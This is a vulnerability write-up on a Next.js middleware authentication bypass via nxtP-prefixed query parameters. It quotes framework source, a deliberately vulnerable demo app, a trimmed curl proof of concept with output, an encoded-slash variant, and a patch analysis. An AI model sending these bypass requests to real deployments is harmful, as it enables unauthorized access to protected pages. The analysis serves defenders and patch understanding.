nxtPslug is how Next.js's outer router tells its inner server which slug it matched
In Next.js's App Router, a path like /admin/secret-page matches the file app/admin/[slug]/page.tsx with params.slug = "secret-page". Something has to make that match. In the production architecture, the something is split across two processes: an outer router (the standalone server, or the proxy that fronts the workers) does the URL-to-route matching, and an inner server (the NextServer that actually invokes the route module) renders the result.
The two halves communicate by query string. The outer router takes the matched dynamic-segment values and writes them onto the inner request as keys prefixed with nxtP. The constants file is explicit about this:
// packages/next/src/lib/constants.ts
export const NEXT_QUERY_PARAM_PREFIX = 'nxtP'
export const NEXT_INTERCEPTION_MARKER_PREFIX = 'nxtI'
On the inner side, the route module calls normalizeQueryParams, which strips the prefix and promotes the key into the request's "route parameters" namespace:
// packages/next/src/server/server-utils.ts (pre-patch behavior)
export function normalizeQueryParams(
query: ParsedUrlQuery,
routeParamKeys: Set<string>
) {
for (const key of Object.keys(query)) {
if (key.startsWith(NEXT_QUERY_PARAM_PREFIX)) {
const normalizedKey = key.substring(NEXT_QUERY_PARAM_PREFIX.length)
query[normalizedKey] = query[key]
routeParamKeys.add(normalizedKey)
delete query[key]
}
// ...same for NEXT_INTERCEPTION_MARKER_PREFIX
}
}
That is the channel. nxtPslug=secret-page becomes params.slug = "secret-page" inside the page.
The protocol assumes the outer router is the only thing that ever sends nxtP*. The protocol has no way to enforce that assumption against the network.
Middleware reads pathname. The route module reads the query.
Here is the vulnerable app the PoC ships:
// middleware.ts
import { NextResponse, NextRequest } from 'next/server'
export function middleware(req: NextRequest) {
const path = req.nextUrl.pathname
if (path.startsWith('/admin')) {
return NextResponse.redirect(new URL('/login', req.url))
}
return NextResponse.next()
}
// app/admin/[slug]/page.tsx
export default async function AdminPage({
params,
}: { params: Promise<{ slug: string }> }) {
const { slug } = await params
return <main>ADMIN_SECRET_FLAG {slug}</main>
}
Two stages of one request pipeline, reading different fields of the same request, with different authority over the answer.
The middleware reads req.nextUrl.pathname. For GET /safe?nxtPslug=secret-page, that is /safe. The gate returns NextResponse.next(). The request continues.
The route module reads query to discover which dynamic-route slug was matched. query.nxtPslug is present. normalizeQueryParams strips the prefix and writes slug = "secret-page" into the route parameters. The route module renders app/admin/[slug]/page.tsx.
The middleware sees one thing. The renderer sees another. The renderer wins, because the renderer is the one that actually answers.
The bypass is one curl
The PoC ships an exploit.sh with three steps. Trimmed to the essential:
# 1. Baseline: middleware sees /admin, redirects.
$ curl -is http://localhost:3000/admin/secret-page | head -1
HTTP/1.1 307 Temporary Redirect
# 2. Bypass: middleware sees /safe, passes. Route module reads
# nxtPslug from the query and renders the admin page.
$ curl -s 'http://localhost:3000/safe?nxtPslug=secret-page'
<main>ADMIN_SECRET_FLAG secret-page</main>
# 3. Confirmation that there is no /safe page in the app.
$ ls app/safe 2>&1
ls: cannot access 'app/safe': No such file or directory
There is no /safe route file in this app. The 200 in step 2 is app/admin/[slug]/page.tsx, served against a request whose visible path is /safe. The browser's address bar and the middleware's view both say /safe. The page rendering and the data fetched both come from /admin/[slug]. Inside the server, the URL the renderer believed it was answering and the URL the gate believed it was inspecting were not the same URL.
The same primitive works against nxtI* for intercepted routes, and against the family of x-matched-path / x-now-route-matches headers that the multi-process variant of the same protocol uses. The advisory lists CVSS 8.1, CWE-288: "Authentication Bypass Using an Alternate Path or Channel." The phrase "alternate channel" is doing the work. The path the middleware reads and the channel the renderer reads are different parts of the same HTTP request, and the attacker controls both.
The "internal-only" status of nxtP was held by documentation
There is a sibling function in the same file, named filterInternalQuery, that does the obvious thing:
// packages/next/src/server/server-utils.ts
export function filterInternalQuery(
query: ParsedUrlQuery,
routeParamKeys: string[]
) {
for (const key of Object.keys(query)) {
if (
key.startsWith(NEXT_QUERY_PARAM_PREFIX) ||
key.startsWith(NEXT_INTERCEPTION_MARKER_PREFIX)
) {
delete query[key]
}
// ...
}
}
filterInternalQuery exists. It strips the prefix-namespaced keys without trusting them. The protocol's safe primitive is in the same source file as the protocol's unsafe primitive. Pre-patch, the route module called normalizeQueryParams in every code path that processed a route. The decision about which sibling to call was made structurally: the framework chose "trust the channel" as the default and put no boundary check between "the outer router wrote this key" and "some browser wrote this key."
This is the same shape as CVE-2025-29927 (x-middleware-subrequest), CVE-2026-44575, CVE-2026-44573, and CVE-2026-44581. Each one is a different namespace that Next.js reserves for its own inner control plane, that the external network is also allowed to write to. The pattern catalog calls it internal-only-by-convention: a value is treated as authoritative because the framework's own components are supposed to be the only writers, while the channel that carries it stays open to anyone.
The header sibling of this pattern is visible right next to the vulnerable code. packages/next/src/server/lib/server-ipc/utils.ts maintains an explicit allow/deny list:
const INTERNAL_HEADERS = [
'x-middleware-rewrite',
'x-middleware-redirect',
'x-middleware-set-cookie',
// ...
'x-matched-path',
'x-now-route-matches',
'x-nextjs-data',
// ...
]
export const filterInternalHeaders = (
headers: Record<string, undefined | string | string[]>
) => {
for (const header in headers) {
if (INTERNAL_HEADERS.includes(header)) {
delete headers[header]
}
}
}
The comment above the list reads: "These are headers that are only used internally and should not be honored from the external request." The framework knew, in prose, that internal channels need a boundary. The query-string version of that same boundary did not exist.
The patch branches on whether next-server is the immediate host
The v16.2.5 fix is in packages/next/src/server/route-modules/route-module.ts. The route-handling preamble that used to call normalizeQueryParams unconditionally now branches:
serverUtils.normalizeCdnUrl(req, combinedParamKeys)
if (!routerServerContext?.isWrappedByNextServer) {
serverUtils.normalizeQueryParams(query, routeParamKeys)
} else {
serverUtils.filterInternalQuery(query, [])
}
serverUtils.filterInternalQuery(originalQuery, combinedParamKeys)
isWrappedByNextServer is set in packages/next/src/server/next-server.ts to mark the deployment shape where NextServer is the immediate handler of the inbound request, with no separate outer router in front of it. In that shape, there is no trusted upstream to have written nxtP* keys, so any nxtP* on the request is by definition external and gets stripped by filterInternalQuery. In the other shape, where a trusted standalone router has already done the routing and written nxtP* keys onto the inner request, normalizeQueryParams is still called.
The patch is a boundary check. It does not change what nxtP* means inside the renderer. It changes who is allowed to write it, by asking the runtime "is there an outer router upstream of me right now?" and stripping the channel when the answer is no. The trust that used to be implicit (the framework assumed only its own outer router writes nxtP*) is now explicit (the runtime checks whether an outer router exists, and treats the channel as untrusted when it does not).
This is the same defender frame that the x-middleware-subrequest patch arrived at in March 2025, applied to the query-string sibling of the same control plane.
The encoded-slash variant
The PoC ships a second exploit shape: GET /admin/foo%252Fsecret-page returns 200 in some configurations. This is a different bug in the same protocol's vicinity. parseDynamicParamFromURLPart decodes its input before passing it to a downstream that decodes again, so a double-encoded slash slips through one decoder, is processed as part of one segment, then is decoded again and treated as a path separator. Commit f1c11203d5 adds a canonicalizeURLPart helper that decodes-then-re-encodes so both sides agree on a single canonical form. That commit is tagged in the PoC's patch.diff, but the GitHub advisory thread notes the commit is "not related to CVE-2026-44574."
The encoded-slash variant is the same shape as nxtP* at one level of abstraction: two stages of the pipeline disagree about what segment of the URL belongs to which route parameter. It is a different bug at the level of code. The nxtP* bypass works on any input. The encoded-slash bypass needs a specific decoder mismatch. Both were closed in the v16.2.4 to v16.2.5 window. Only the first one is what GHSA-492v-c6pp-mqqv calls "CVE-2026-44574."